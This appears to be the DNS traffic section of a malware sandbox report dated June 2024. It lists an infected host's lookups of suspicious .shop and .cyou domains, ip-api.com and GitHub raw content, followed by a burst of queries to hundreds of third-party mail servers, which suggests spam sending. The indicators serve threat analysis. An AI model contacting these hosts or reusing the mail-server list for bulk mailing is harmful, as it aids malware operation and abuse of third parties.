Jun 4, 2024 23:11:04.563736916 CEST	192.168.2.11	1.1.1.1	0xd388	Standard query (0)	out.student.slp.k12.la.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.693214893 CEST	192.168.2.11	1.1.1.1	0x6ed	Standard query (0)	mosaicprep.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.694075108 CEST	192.168.2.11	1.1.1.1	0x503e	Standard query (0)	securesmtp.coastmail.dk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.857198954 CEST	192.168.2.11	1.1.1.1	0x8a7	Standard query (0)	mail.edumail.voc.gov.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.981997967 CEST	192.168.2.11	1.1.1.1	0x2d4	Standard query (0)	out.langius.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.110486031 CEST	192.168.2.11	1.1.1.1	0xf0c9	Standard query (0)	jakbuilding.net.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.110759020 CEST	192.168.2.11	1.1.1.1	0x4a62	Standard query (0)	smtp.mtroyal.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.111268044 CEST	192.168.2.11	1.1.1.1	0xd005	Standard query (0)	mail.prioritywealth.com.sg	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.238178968 CEST	192.168.2.11	1.1.1.1	0x3cce	Standard query (0)	mx-01-eu-central-1.prod.hydra.sophos.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.369525909 CEST	192.168.2.11	1.1.1.1	0x6242	Standard query (0)	securesmtp.sunnrgysystems.co.tz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.370289087 CEST	192.168.2.11	1.1.1.1	0x103c	Standard query (0)	mail.jpsaccountants.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.489964962 CEST	192.168.2.11	1.1.1.1	0xd5ce	Standard query (0)	jornalcanudos.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.490196943 CEST	192.168.2.11	1.1.1.1	0x26d4	Standard query (0)	mx1.ac-montpellier.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.578183889 CEST	192.168.2.11	1.1.1.1	0xd388	Standard query (0)	out.student.slp.k12.la.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.622946978 CEST	192.168.2.11	1.1.1.1	0xb82d	Standard query (0)	securesmtp.clubinternet.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.773658991 CEST	192.168.2.11	1.1.1.1	0xcc3c	Standard query (0)	labaton.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.773917913 CEST	192.168.2.11	1.1.1.1	0x34e6	Standard query (0)	smtp.nationaliles.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.851342916 CEST	192.168.2.11	1.1.1.1	0x8a7	Standard query (0)	mail.edumail.voc.gov.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.900043964 CEST	192.168.2.11	1.1.1.1	0xe0d	Standard query (0)	mail.skytv.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.900257111 CEST	192.168.2.11	1.1.1.1	0x24b0	Standard query (0)	protemed.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.900445938 CEST	192.168.2.11	1.1.1.1	0x11f7	Standard query (0)	modulonet.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.029093981 CEST	192.168.2.11	1.1.1.1	0x9b5f	Standard query (0)	123.comh	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.156934023 CEST	192.168.2.11	1.1.1.1	0x719	Standard query (0)	us2.mx2.mailhostbox.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.157457113 CEST	192.168.2.11	1.1.1.1	0x2172	Standard query (0)	securesmtp.hotelvergiliusbillia.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.306111097 CEST	192.168.2.11	1.1.1.1	0x9216	Standard query (0)	plannerinfo.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.307043076 CEST	192.168.2.11	1.1.1.1	0xf33d	Standard query (0)	out.mayanet.com.tr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.307414055 CEST	192.168.2.11	1.1.1.1	0x6182	Standard query (0)	mail.fixmybadcreditscore.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.442104101 CEST	192.168.2.11	1.1.1.1	0x96ca	Standard query (0)	secure.wmctech.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.442732096 CEST	192.168.2.11	1.1.1.1	0xfd52	Standard query (0)	mail.facadetreatment.com.my	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.568442106 CEST	192.168.2.11	1.1.1.1	0x57eb	Standard query (0)	out.ntl.world.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.568664074 CEST	192.168.2.11	1.1.1.1	0x61ce	Standard query (0)	out.abc-clasificados.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.585655928 CEST	192.168.2.11	1.1.1.1	0xd388	Standard query (0)	out.student.slp.k12.la.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.617311954 CEST	192.168.2.11	1.1.1.1	0xf33d	Standard query (0)	out.mayanet.com.tr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.692470074 CEST	192.168.2.11	1.1.1.1	0x5f6f	Standard query (0)	mail.francias.info	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.692734957 CEST	192.168.2.11	1.1.1.1	0x5db5	Standard query (0)	earthlink.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.741920948 CEST	192.168.2.11	1.1.1.1	0x96ca	Standard query (0)	secure.wmctech.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.822527885 CEST	192.168.2.11	1.1.1.1	0xb777	Standard query (0)	out.d7ca6544cf.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.826076984 CEST	192.168.2.11	1.1.1.1	0x77fb	Standard query (0)	pccoepune.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.851202011 CEST	192.168.2.11	1.1.1.1	0x8a7	Standard query (0)	mail.edumail.voc.gov.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.947755098 CEST	192.168.2.11	1.1.1.1	0xd145	Standard query (0)	mail.firma-und-verein.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.947966099 CEST	192.168.2.11	1.1.1.1	0xdd91	Standard query (0)	out.stauseetaucher.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.115328074 CEST	192.168.2.11	1.1.1.1	0x601a	Standard query (0)	telefonica.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.115515947 CEST	192.168.2.11	1.1.1.1	0xf84f	Standard query (0)	smtp.kabelbw.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.207789898 CEST	192.168.2.11	1.1.1.1	0x8afe	Standard query (0)	mail.arfp.asso.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.208095074 CEST	192.168.2.11	1.1.1.1	0x1849	Standard query (0)	smtp.ralindia.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.342552900 CEST	192.168.2.11	1.1.1.1	0x7aed	Standard query (0)	secure.headwest.asn.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.494206905 CEST	192.168.2.11	1.1.1.1	0xe849	Standard query (0)	secure.63b98cf6ec.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.494430065 CEST	192.168.2.11	1.1.1.1	0xe916	Standard query (0)	mail.bresnan.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.648149967 CEST	192.168.2.11	1.1.1.1	0x7aed	Standard query (0)	secure.headwest.asn.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.660464048 CEST	192.168.2.11	1.1.1.1	0xc268	Standard query (0)	telia.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.784435034 CEST	192.168.2.11	1.1.1.1	0xe16	Standard query (0)	smtp.cangus.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.784658909 CEST	192.168.2.11	1.1.1.1	0xcf60	Standard query (0)	securesmtp.mh-enterprise.co.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.036722898 CEST	192.168.2.11	1.1.1.1	0xafce	Standard query (0)	mail1.hager.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.037157059 CEST	192.168.2.11	1.1.1.1	0xd2ba	Standard query (0)	smtp.dirkboelke.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.037813902 CEST	192.168.2.11	1.1.1.1	0xfe57	Standard query (0)	smtp.akerouac.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.198612928 CEST	192.168.2.11	1.1.1.1	0xd639	Standard query (0)	smtp.meyerbroeker.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.328226089 CEST	192.168.2.11	1.1.1.1	0xe062	Standard query (0)	smtp.borntechies.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.328548908 CEST	192.168.2.11	1.1.1.1	0xe0e5	Standard query (0)	mail.153ec6e692.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.452425957 CEST	192.168.2.11	1.1.1.1	0xac8d	Standard query (0)	smtp.intercomm.co.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.453244925 CEST	192.168.2.11	1.1.1.1	0x44bf	Standard query (0)	secure.iak.com.tr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.585341930 CEST	192.168.2.11	1.1.1.1	0xd388	Standard query (0)	out.student.slp.k12.la.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.757210016 CEST	192.168.2.11	1.1.1.1	0xac8d	Standard query (0)	smtp.intercomm.co.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.850963116 CEST	192.168.2.11	1.1.1.1	0x8a7	Standard query (0)	mail.edumail.voc.gov.au	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 4, 2024 23:09:13.754957914 CEST	1.1.1.1	192.168.2.11	0x952e	Name error (3)	detailbaconroollyws.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.770781994 CEST	1.1.1.1	192.168.2.11	0xc867	Name error (3)	horsedwollfedrwos.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.786035061 CEST	1.1.1.1	192.168.2.11	0xa442	Name error (3)	patternapplauderw.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.801737070 CEST	1.1.1.1	192.168.2.11	0x858c	Name error (3)	understanndtytonyguw.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.813321114 CEST	1.1.1.1	192.168.2.11	0x9f09	Name error (3)	considerrycurrentyws.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.827258110 CEST	1.1.1.1	192.168.2.11	0x72bb	Name error (3)	messtimetabledkolvk.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.900346994 CEST	1.1.1.1	192.168.2.11	0x6580	Name error (3)	deprivedrinkyfaiir.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.913081884 CEST	1.1.1.1	192.168.2.11	0x2819	Name error (3)	relaxtionflouwerwi.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.232944012 CEST	1.1.1.1	192.168.2.11	0xd82f	Name error (3)	messtimetabledkolvk.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.263408899 CEST	1.1.1.1	192.168.2.11	0xdee1	Name error (3)	horsedwollfedrwos.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.279262066 CEST	1.1.1.1	192.168.2.11	0xdf	Name error (3)	patternapplauderw.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.318525076 CEST	1.1.1.1	192.168.2.11	0x88d5	Name error (3)	understanndtytonyguw.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.332290888 CEST	1.1.1.1	192.168.2.11	0x2b16	Name error (3)	considerrycurrentyws.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.375462055 CEST	1.1.1.1	192.168.2.11	0xf4f2	Name error (3)	detailbaconroollyws.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.390005112 CEST	1.1.1.1	192.168.2.11	0x9eac	Name error (3)	deprivedrinkyfaiir.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.409733057 CEST	1.1.1.1	192.168.2.11	0xd40	Name error (3)	relaxtionflouwerwi.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:36.648752928 CEST	1.1.1.1	192.168.2.11	0xd3d1	No error (0)	clwtumberaero.cyou		185.43.220.45	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:38.041790009 CEST	1.1.1.1	192.168.2.11	0x52f2	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:39.909979105 CEST	1.1.1.1	192.168.2.11	0xbf67	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:39.909979105 CEST	1.1.1.1	192.168.2.11	0xbf67	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:39.909979105 CEST	1.1.1.1	192.168.2.11	0xbf67	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:39.909979105 CEST	1.1.1.1	192.168.2.11	0xbf67	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:11.128134966 CEST	1.1.1.1	192.168.2.11	0x4084	No error (0)	restores.name		52.143.157.238	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.017512083 CEST	1.1.1.1	192.168.2.11	0x913b	Name error (3)	securesmtp.rectifiersgates.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.122334957 CEST	1.1.1.1	192.168.2.11	0x197a	No error (0)	alt3.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.188652992 CEST	1.1.1.1	192.168.2.11	0x4554	No error (0)	mail.promatech.ma		159.8.122.149	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.243108034 CEST	1.1.1.1	192.168.2.11	0xcc26	No error (0)	smtp.telenet.be		195.130.132.10	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.243108034 CEST	1.1.1.1	192.168.2.11	0xcc26	No error (0)	smtp.telenet.be		195.130.132.11	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.389157057 CEST	1.1.1.1	192.168.2.11	0xe6ec	No error (0)	beotel.rs		194.106.180.18	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.397253036 CEST	1.1.1.1	192.168.2.11	0xd7b8	Name error (3)	securesmtp.f254425b43.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.520721912 CEST	1.1.1.1	192.168.2.11	0xa3f9	No error (0)	meta.ua		104.22.65.144	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.520721912 CEST	1.1.1.1	192.168.2.11	0xa3f9	No error (0)	meta.ua		172.67.25.217	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.520721912 CEST	1.1.1.1	192.168.2.11	0xa3f9	No error (0)	meta.ua		104.22.64.144	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.559319973 CEST	1.1.1.1	192.168.2.11	0x3e74	Name error (3)	securesmtp.techdoc.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.988810062 CEST	1.1.1.1	192.168.2.11	0x17ed	Server failure (2)	mail.e-ducare.com.ar	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.990492105 CEST	1.1.1.1	192.168.2.11	0x7307	No error (0)	viacom.com.br		187.85.164.166	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.990696907 CEST	1.1.1.1	192.168.2.11	0x1da8	No error (0)	smtp.ig.com.br	smtp-ha.skymail.net.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:23.990696907 CEST	1.1.1.1	192.168.2.11	0x1da8	No error (0)	smtp-ha.skymail.net.br		168.0.132.203	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.001384020 CEST	1.1.1.1	192.168.2.11	0x46a4	No error (0)	alt2.aspmx.l.google.com		142.251.9.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.005527973 CEST	1.1.1.1	192.168.2.11	0xe304	Name error (3)	out.nava.biz	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.008368969 CEST	1.1.1.1	192.168.2.11	0x2e6	Name error (3)	securesmtp.sacredheartconventhighschool.co.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.012290955 CEST	1.1.1.1	192.168.2.11	0x8e07	Name error (3)	out.dashcam-france.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.024005890 CEST	1.1.1.1	192.168.2.11	0x1660	No error (0)	malmar-be.mail.protection.outlook.com		52.101.73.12	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.024005890 CEST	1.1.1.1	192.168.2.11	0x1660	No error (0)	malmar-be.mail.protection.outlook.com		52.101.68.15	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.024005890 CEST	1.1.1.1	192.168.2.11	0x1660	No error (0)	malmar-be.mail.protection.outlook.com		52.101.68.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.024005890 CEST	1.1.1.1	192.168.2.11	0x1660	No error (0)	malmar-be.mail.protection.outlook.com		52.101.73.28	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.093164921 CEST	1.1.1.1	192.168.2.11	0x2170	Name error (3)	secure.netsite.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.472045898 CEST	1.1.1.1	192.168.2.11	0x3c9e	Name error (3)	socotim.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.624907970 CEST	1.1.1.1	192.168.2.11	0x5163	Server failure (2)	thefindmachine.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.635036945 CEST	1.1.1.1	192.168.2.11	0xcc48	No error (0)	nate.com		120.50.131.112	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.654139042 CEST	1.1.1.1	192.168.2.11	0xbaef	No error (0)	yaho.de		13.248.158.7	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.654139042 CEST	1.1.1.1	192.168.2.11	0xbaef	No error (0)	yaho.de		76.223.84.192	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.753957033 CEST	1.1.1.1	192.168.2.11	0x8672	Name error (3)	secure.piepmeyer.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.017426014 CEST	1.1.1.1	192.168.2.11	0x6b50	No error (0)	smtp.netzero.com	smtp-com.netzero.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:25.017426014 CEST	1.1.1.1	192.168.2.11	0x6b50	No error (0)	smtp-com.netzero.net		64.136.52.50	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.017426014 CEST	1.1.1.1	192.168.2.11	0x6b50	No error (0)	smtp-com.netzero.net		64.136.44.50	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.017446995 CEST	1.1.1.1	192.168.2.11	0xa826	No error (0)	eyou.com		117.50.20.113	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.017935038 CEST	1.1.1.1	192.168.2.11	0xabbf	No error (0)	marshallschools.com		34.238.178.141	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.018086910 CEST	1.1.1.1	192.168.2.11	0x8984	Name error (3)	out.madrasah.id	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.051495075 CEST	1.1.1.1	192.168.2.11	0x96b3	No error (0)	abv.bg		194.153.145.104	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.061037064 CEST	1.1.1.1	192.168.2.11	0xfc9e	Name error (3)	secure.gamblr.co	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.166646957 CEST	1.1.1.1	192.168.2.11	0x1bc1	No error (0)	alt4.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.262588024 CEST	1.1.1.1	192.168.2.11	0xc5a6	No error (0)	rogers.com		40.85.218.2	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.303514004 CEST	1.1.1.1	192.168.2.11	0xdb0a	No error (0)	smtp.vodafone.de	smtp.vodafonemail.de		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:25.303514004 CEST	1.1.1.1	192.168.2.11	0xdb0a	No error (0)	smtp.vodafonemail.de		2.207.150.234	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.304388046 CEST	1.1.1.1	192.168.2.11	0x52a2	Name error (3)	securesmtp.talkingthreads.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.562972069 CEST	1.1.1.1	192.168.2.11	0x4c3	No error (0)	alt1.aspmx.l.google.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.605465889 CEST	1.1.1.1	192.168.2.11	0xe789	Name error (3)	out.ultratempo.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.700519085 CEST	1.1.1.1	192.168.2.11	0x6d3a	Name error (3)	out.gdas.ac.cn	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.700527906 CEST	1.1.1.1	192.168.2.11	0x6d3a	Name error (3)	out.gdas.ac.cn	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.727071047 CEST	1.1.1.1	192.168.2.11	0xbdcc	No error (0)	aliyun.com		106.11.172.9	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.727071047 CEST	1.1.1.1	192.168.2.11	0xbdcc	No error (0)	aliyun.com		140.205.135.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.727071047 CEST	1.1.1.1	192.168.2.11	0xbdcc	No error (0)	aliyun.com		140.205.60.46	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.727071047 CEST	1.1.1.1	192.168.2.11	0xbdcc	No error (0)	aliyun.com		106.11.249.99	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.727071047 CEST	1.1.1.1	192.168.2.11	0xbdcc	No error (0)	aliyun.com		106.11.253.83	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.727071047 CEST	1.1.1.1	192.168.2.11	0xbdcc	No error (0)	aliyun.com		106.11.248.146	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.796300888 CEST	1.1.1.1	192.168.2.11	0x77d0	No error (0)	smtp.rynet.cz	smtpa.forpsi.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:25.796300888 CEST	1.1.1.1	192.168.2.11	0x77d0	No error (0)	smtpa.forpsi.com		81.2.195.204	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.875057936 CEST	1.1.1.1	192.168.2.11	0x667c	No error (0)	smtp.freemail.hu		84.2.43.67	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.901832104 CEST	1.1.1.1	192.168.2.11	0x1d76	No error (0)	student.uc.pt		193.137.200.184	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.905571938 CEST	1.1.1.1	192.168.2.11	0xd23f	Name error (3)	securesmtp.gimel.hu	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.000026941 CEST	1.1.1.1	192.168.2.11	0x487b	Name error (3)	inter7.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.124561071 CEST	1.1.1.1	192.168.2.11	0x9d69	Name error (3)	out.raranride.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.196588039 CEST	1.1.1.1	192.168.2.11	0x681a	No error (0)	mail.vstream.ie	vstream.ie		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:26.196588039 CEST	1.1.1.1	192.168.2.11	0x681a	No error (0)	vstream.ie		134.122.66.149	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.527242899 CEST	1.1.1.1	192.168.2.11	0xe755	Name error (3)	initiatesystems.com.s5a2.psmtp.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.536561966 CEST	1.1.1.1	192.168.2.11	0x967a	Name error (3)	securesmtp.designedwithi.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.543382883 CEST	1.1.1.1	192.168.2.11	0xf4fb	No error (0)	smtp.aniledodi.com	smtp.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:26.543382883 CEST	1.1.1.1	192.168.2.11	0xf4fb	No error (0)	smtp.secureserver.net		92.204.80.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.636233091 CEST	1.1.1.1	192.168.2.11	0x6c70	No error (0)	smtpin.rzone.de		81.169.145.97	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.646764040 CEST	1.1.1.1	192.168.2.11	0xaaca	Name error (3)	out.kwood.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.772567034 CEST	1.1.1.1	192.168.2.11	0x68af	Name error (3)	kmdkdkdk.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.813476086 CEST	1.1.1.1	192.168.2.11	0xb1b1	Name error (3)	mail.naurothinsurance.bc.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.899198055 CEST	1.1.1.1	192.168.2.11	0x1293	No error (0)	aspmx.l.google.com		74.125.71.27	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.035650015 CEST	1.1.1.1	192.168.2.11	0x51a0	No error (0)	mail.aruba.it		94.177.209.28	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.181339025 CEST	1.1.1.1	192.168.2.11	0xcddc	Name error (3)	secure.lactodorum.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.197184086 CEST	1.1.1.1	192.168.2.11	0xbdb1	No error (0)	flix.be		79.174.131.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.204715014 CEST	1.1.1.1	192.168.2.11	0x142d	Name error (3)	mail.ignitelab.co.za	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.349399090 CEST	1.1.1.1	192.168.2.11	0x2f3d	Name error (3)	secure.colton.k12.ca.us	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.441469908 CEST	1.1.1.1	192.168.2.11	0xe7dc	Name error (3)	out.count-face.biz	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.443101883 CEST	1.1.1.1	192.168.2.11	0x7c8a	Name error (3)	smtp.blpcollegemasaurhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.592953920 CEST	1.1.1.1	192.168.2.11	0x89ba	No error (0)	lostgeek.co.uk		51.148.131.93	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.623562098 CEST	1.1.1.1	192.168.2.11	0xcc2f	No error (0)	ya.com		89.39.182.172	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.759387016 CEST	1.1.1.1	192.168.2.11	0x6ecc	Name error (3)	aupe.com.ar	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.806190968 CEST	1.1.1.1	192.168.2.11	0x30c	No error (0)	out.simoncollyer.co.uk	simoncollyer.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:27.806190968 CEST	1.1.1.1	192.168.2.11	0x30c	No error (0)	simoncollyer.co.uk		46.23.69.44	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.905668020 CEST	1.1.1.1	192.168.2.11	0x5215	No error (0)	mx1.pub.mailpod6-cph3.one.com		185.164.14.70	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.949310064 CEST	1.1.1.1	192.168.2.11	0xbaf1	No error (0)	smtp.ucalgary.ca	smtp2016.ucalgary.ca		CNAME (Canonical name)	IN (0x0001)	false
